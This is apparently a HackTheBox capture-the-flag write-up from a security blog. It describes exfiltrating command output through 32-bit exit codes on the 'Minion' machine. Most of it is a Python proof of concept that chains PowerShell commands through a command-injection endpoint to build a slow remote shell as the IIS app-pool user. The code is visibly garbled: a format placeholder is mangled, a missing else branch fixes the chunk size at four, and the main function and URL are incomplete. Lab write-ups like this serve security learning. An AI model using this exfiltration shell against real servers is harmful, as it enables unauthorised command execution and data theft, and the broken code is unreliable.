Booj thoughts on security

HackTheBox - Minion Error Code Exfiltration

This is a writeup of an alternative technique for Minion, which involves exfiltrating data via error codes. All credits for this technique go to @m0noc who actually made this work and used it to pwn Minion.

The Situation

In Minion we had command execution which returned the exit code of the command called. 0 for success and 1 for failure. In reality, the exit code is entirely controllable by the caller of any process. e.g.

PS C:\Users\Booj> powershell -c 'exit 1234'
PS C:\Users\Booj> echo $lastexitcode

The error code is a 32 bit signed integer so we have a maximum of 4 bytes. Since a character only takes up a single byte (ascii), we can encode any sequence of characters within a sequence of error codes.

Proof of Concept

In this proof of concept we run a command and save the result to a file, returning as the first exit code the length of the result. We then sequentially send commands to fetch and output each 4 byte sequence as an error code, decoding on our end and yielding a basic shell.

import requests
import sys
import urllib2

Command Creation
def get_cmd_length(command):
    cmd =  '$command = (Invoke-Command -ScriptBlock } | Out-String).TrimStart().TrimEnd(); $command | Out-File $env:temp/merror.txt -encoding ASCII ;exit $command.length'.format(command)
    return cmd

def error_exfil(command, output_length):
    output_length = int(output_length)
    for start in range(0, int(output_length), 4):
        if (output_length - start) < 4:
            amount_to_fetch = output_length-start
            amount_to_fetch = "4"
        run_cmd = '$fs = Get-Content $env:temp/merror.txt -Encoding Byte -ReadCount 0; $bytearray = $fs[{0}..{1}]; $hex = [System.BitConverter]::ToString($bytearray) -replace \'-\',\'\';\
echo $hex; exit ([convert]::ToInt32($hex, 16));'.format(start, int(start)+int(amount_to_fetch)-1)
        yield run_cmd

def decode_error(errorval):
    val = hex(int(errorval))[2:]
    if len(val)%2 !=0:
        val = '0'+ val

    return val.decode('hex')

Command Sending and Receiving

def run_on_minion(command):

    url = '' 
    base_url = "/test.asp?u=" 
    pshell = "powershell -Command \"{0}\"".format(command)
    req = requests.get(url+base_url+urllib2.quote(pshell)) 
    #TODO filter this properly 
    result = req.text 
    error_code = [x.split('=')[1] for x in result.split('\n') if "Exit Status" in x][0]
    return error_code 

Main Loop

def main():
    while True:
        cmd = raw_input('PS>')
        len_cmd = get_cmd_length(cmd)
        length_of_command = run_on_minion(len_cmd)
        for torun in error_exfil(cmd, length_of_command):
            errorval = run_on_minion(torun)
            decodedval = decode_error(errorval)

if __name__ == '__main__':

It should work as is and give us a very slow shell!

root@kali:~# python 
iis apppool\defaultapppool

That’s all folks!

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